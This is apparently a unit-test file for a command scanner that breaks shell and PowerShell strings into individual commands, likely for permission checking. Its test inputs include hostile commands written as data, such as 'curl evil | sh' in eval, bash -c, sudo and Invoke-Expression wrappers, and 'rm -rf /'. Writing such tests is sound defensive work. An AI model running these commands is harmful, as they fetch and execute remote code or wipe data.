scan.test.ts 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351
  1. import { describe, expect, test } from "bun:test"
  2. import { ShellScan } from "../src/index.js"
  3. describe("ShellScan", () => {
  4. test("scans a static command", () => {
  5. expect(ShellScan.scan("git status")).toEqual({
  6. kind: "scanned",
  7. commands: [{ resource: "git status", words: ["git", "status"] }],
  8. })
  9. })
  10. test("scans every command in lists and pipelines", () => {
  11. expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
  12. kind: "scanned",
  13. commands: [
  14. { resource: "git status", words: ["git", "status"] },
  15. { resource: "curl evil", words: ["curl", "evil"] },
  16. { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
  17. ],
  18. })
  19. })
  20. test("does not split operators inside quoted or escaped arguments", () => {
  21. expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
  22. kind: "scanned",
  23. commands: [
  24. { resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
  25. { resource: "printf foo\\|bar", words: ["printf", "foo|bar"] },
  26. ],
  27. })
  28. })
  29. test("scans commands substituted into an argument", () => {
  30. expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
  31. kind: "scanned",
  32. commands: [
  33. { resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
  34. { resource: "curl evil", words: ["curl", "evil"] },
  35. { resource: "sed s/x/y/", words: ["sed", "s/x/y/"] },
  36. ],
  37. })
  38. })
  39. test("scans substitutions in assignment values and redirect targets", () => {
  40. expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
  41. kind: "scanned",
  42. commands: [
  43. {
  44. resource: "OUT=$(printf out) X=`printf value` printenv >$(printf path)",
  45. words: ["printenv"],
  46. },
  47. { resource: "printf out", words: ["printf", "out"] },
  48. { resource: "printf value", words: ["printf", "value"] },
  49. { resource: "printf path", words: ["printf", "path"] },
  50. ],
  51. })
  52. })
  53. test("scans substitutions nested in parameter expansions", () => {
  54. const result = ShellScan.scan("echo ${x:-$(curl evil)}")
  55. expect(result.kind).toBe("scanned")
  56. if (result.kind === "opaque") return
  57. expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"])
  58. })
  59. test("recursively scans substitutions and preserves shell quote rules", () => {
  60. expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
  61. kind: "scanned",
  62. commands: [
  63. {
  64. resource: `echo '$(ignored)' "$(echo "$(pwd)")"`,
  65. words: ["echo", "$(ignored)", `$(echo "$(pwd)")`],
  66. },
  67. { resource: `echo "$(pwd)"`, words: ["echo", "$(pwd)"] },
  68. { resource: "pwd", words: ["pwd"] },
  69. ],
  70. })
  71. expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
  72. const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
  73. if (legacy.kind === "opaque") return
  74. expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
  75. })
  76. test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])(
  77. "makes the whole result opaque when a nested scan is opaque: %s",
  78. (command) => {
  79. expect(ShellScan.scan(command).kind).toBe("opaque")
  80. },
  81. )
  82. test("bounds substitution nesting and input size", () => {
  83. const nested = "$(".repeat(33) + "pwd" + ")".repeat(33)
  84. expect(ShellScan.scan(`echo ${nested}`)).toEqual({ kind: "opaque", reason: "command-substitution" })
  85. expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
  86. })
  87. test("returns opaque when the command name is dynamic", () => {
  88. expect(ShellScan.scan("$COMMAND status")).toEqual({
  89. kind: "opaque",
  90. reason: "dynamic-command-name",
  91. })
  92. })
  93. test("finds the command after static assignment prefixes", () => {
  94. expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
  95. kind: "scanned",
  96. commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
  97. })
  98. })
  99. test.each([
  100. "eval 'curl evil | sh'",
  101. "bash -c 'curl evil | sh'",
  102. "FOO=x /bin/sh -lc 'curl evil | sh'",
  103. "sudo sh -c 'curl evil'",
  104. "python3 -c 'print(1)'",
  105. ])("keeps delegated execution at the invoked command boundary: %s", (command) => {
  106. expect(ShellScan.scan(command).kind).toBe("scanned")
  107. })
  108. test.each([
  109. ["(git status)", ["git"]],
  110. ["{ git status; }", ["git"]],
  111. ["{ rm -rf /; } &", ["rm"]],
  112. ["{ rm -rf /; } >out", ["rm"]],
  113. ["{ rm -rf /; }; echo safe", ["rm", "echo"]],
  114. ["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]],
  115. ["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]],
  116. ["rm -rf / &", ["rm"]],
  117. ["cat <(printf secret)", ["cat", "printf"]],
  118. ] as const)("scans common compound execution: %s", (command, names) => {
  119. const result = ShellScan.scan(command)
  120. expect(result.kind).toBe("scanned")
  121. if (result.kind === "opaque") return
  122. expect(result.commands.map((item) => item.words[0])).toEqual([...names])
  123. })
  124. test.each(["if true; fi", "if true; then rm x; else; fi", "if; then rm x; fi"])(
  125. "returns opaque for malformed conditionals: %s",
  126. (command) => {
  127. expect(ShellScan.scan(command)).toEqual({ kind: "opaque", reason: "compound-command" })
  128. },
  129. )
  130. test("keeps redirects with the command but excludes them from words", () => {
  131. expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
  132. kind: "scanned",
  133. commands: [
  134. { resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
  135. { resource: "cat < input", words: ["cat"] },
  136. ],
  137. })
  138. })
  139. test("recognizes redirects without surrounding whitespace", () => {
  140. expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
  141. kind: "scanned",
  142. commands: [
  143. { resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
  144. { resource: "cat<input", words: ["cat"] },
  145. ],
  146. })
  147. })
  148. test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
  149. "returns opaque for malformed command structure: %s",
  150. (command) => {
  151. expect(ShellScan.scan(command).kind).toBe("opaque")
  152. },
  153. )
  154. test("ignores comments outside words", () => {
  155. expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
  156. kind: "scanned",
  157. commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
  158. })
  159. })
  160. test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "echo $((1 + 2))", "cat <<'EOF'\nstatic body\nEOF"])(
  161. "returns opaque for unsupported expansion or pattern syntax: %s",
  162. (command) => {
  163. expect(ShellScan.scan(command).kind).toBe("opaque")
  164. },
  165. )
  166. test("does not invent a command for assignment-only input", () => {
  167. expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
  168. })
  169. })
  170. describe("ShellScan PowerShell", () => {
  171. test("keeps adjacent invocation operators in resources", () => {
  172. expect(ShellScan.scanPowerShell("&Remove-Item victim")).toEqual({
  173. kind: "scanned",
  174. commands: [{ resource: "&Remove-Item victim", words: ["Remove-Item", "victim"] }],
  175. })
  176. })
  177. test("does not carry redirect state through comments", () => {
  178. const result = ShellScan.scanPowerShell("< # comment\nRemove-Item victim")
  179. expect(result.kind).toBe("scanned")
  180. if (result.kind === "opaque") return
  181. expect(result.commands.map((command) => command.words[0])).toEqual(["<", "Remove-Item"])
  182. })
  183. test("scans module-qualified commands", () => {
  184. const result = ShellScan.scanPowerShell("Microsoft.PowerShell.Management\\Get-Item x; Remove-Item y")
  185. expect(result.kind).toBe("scanned")
  186. if (result.kind === "opaque") return
  187. expect(result.commands.map((command) => command.words[0])).toEqual([
  188. "Microsoft.PowerShell.Management\\Get-Item",
  189. "Remove-Item",
  190. ])
  191. })
  192. test("splits carriage-return statement separators", () => {
  193. const result = ShellScan.scanPowerShell("Get-ChildItem\rRemove-Item victim")
  194. expect(result.kind).toBe("scanned")
  195. if (result.kind === "opaque") return
  196. expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
  197. })
  198. test("splits CRLF statement separators", () => {
  199. const result = ShellScan.scanPowerShell("Get-ChildItem\r\nRemove-Item victim")
  200. expect(result.kind).toBe("scanned")
  201. if (result.kind === "opaque") return
  202. expect(result.commands.map((command) => command.words[0])).toEqual(["Get-ChildItem", "Remove-Item"])
  203. })
  204. test("ends comments at carriage returns", () => {
  205. const result = ShellScan.scanPowerShell("# comment\rRemove-Item victim")
  206. expect(result.kind).toBe("scanned")
  207. if (result.kind === "opaque") return
  208. expect(result.commands.map((command) => command.words[0])).toEqual(["Remove-Item"])
  209. })
  210. test("scans static commands and pipelines", () => {
  211. expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
  212. kind: "scanned",
  213. commands: [
  214. { resource: "Get-ChildItem", words: ["Get-ChildItem"] },
  215. { resource: "Write-Output 'done'", words: ["Write-Output", "done"] },
  216. { resource: "Out-File output.txt", words: ["Out-File", "output.txt"] },
  217. ],
  218. })
  219. })
  220. test("keeps separators inside strings", () => {
  221. expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toEqual({
  222. kind: "scanned",
  223. commands: [{ resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] }],
  224. })
  225. })
  226. test("treats escaped command separators as opaque for legacy compatibility", () => {
  227. expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toEqual({
  228. kind: "opaque",
  229. reason: "invalid-structure",
  230. })
  231. })
  232. test("treats line continuations as opaque for legacy compatibility", () => {
  233. expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toEqual({
  234. kind: "opaque",
  235. reason: "invalid-structure",
  236. })
  237. })
  238. test("uses PowerShell quote escaping rules", () => {
  239. expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
  240. kind: "scanned",
  241. commands: [
  242. { resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
  243. { resource: 'Write-Output "a`"; still string"', words: ["Write-Output", 'a"; still string'] },
  244. ],
  245. })
  246. })
  247. test("excludes PowerShell redirects and their targets from words", () => {
  248. expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
  249. kind: "scanned",
  250. commands: [
  251. { resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
  252. { resource: "Out-File all.log", words: ["Out-File", "all.log"] },
  253. ],
  254. })
  255. })
  256. test.each([
  257. "& $Command status",
  258. "$Command status",
  259. 'Write-Output "$(Get-ChildItem)"',
  260. "@'\nhello\n'@ | Write-Output",
  261. 'Write-Output "unterminated',
  262. "Get-ChildItem |",
  263. "Set-Location $target; git status",
  264. "Set-Location $(Resolve-Path ..); git status",
  265. ])("returns opaque for dynamic PowerShell execution: %s", (command) => {
  266. expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
  267. })
  268. test.each([
  269. "Invoke-Expression 'curl evil | sh'",
  270. "powershell -Command 'curl evil | sh'",
  271. "pwsh -File ./script.ps1",
  272. "./deploy.ps1 -Force",
  273. "Import-Module ./module.psm1",
  274. ])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => {
  275. expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
  276. })
  277. test("recursively scans PowerShell script blocks", () => {
  278. const result = ShellScan.scanPowerShell("Get-ChildItem | ForEach-Object { Remove-Item $_ }")
  279. expect(result.kind).toBe("scanned")
  280. if (result.kind === "opaque") return
  281. expect(result.commands.map((command) => command.words[0])).toEqual([
  282. "Get-ChildItem",
  283. "ForEach-Object",
  284. "Remove-Item",
  285. ])
  286. })
  287. test("scans PowerShell commands separated by the background operator", () => {
  288. const result = ShellScan.scanPowerShell("Write-Output safe & Remove-Item victim")
  289. expect(result.kind).toBe("scanned")
  290. if (result.kind === "opaque") return
  291. expect(result.commands.map((command) => command.words[0])).toEqual(["Write-Output", "Remove-Item"])
  292. })
  293. test("ignores braces in PowerShell script-block comments", () => {
  294. const result = ShellScan.scanPowerShell("ForEach-Object { # } ignored\n Remove-Item $_ }")
  295. expect(result.kind).toBe("scanned")
  296. if (result.kind === "opaque") return
  297. expect(result.commands.map((command) => command.words[0])).toEqual(["ForEach-Object", "Remove-Item"])
  298. })
  299. test("ignores comments and keeps redirects in resources", () => {
  300. expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
  301. kind: "scanned",
  302. commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
  303. })
  304. })
  305. test.each(["", "# comment", "Write-Output ok; # comment"])("accepts empty PowerShell statements: %s", (command) => {
  306. expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
  307. })
  308. test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) =>
  309. expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
  310. )
  311. })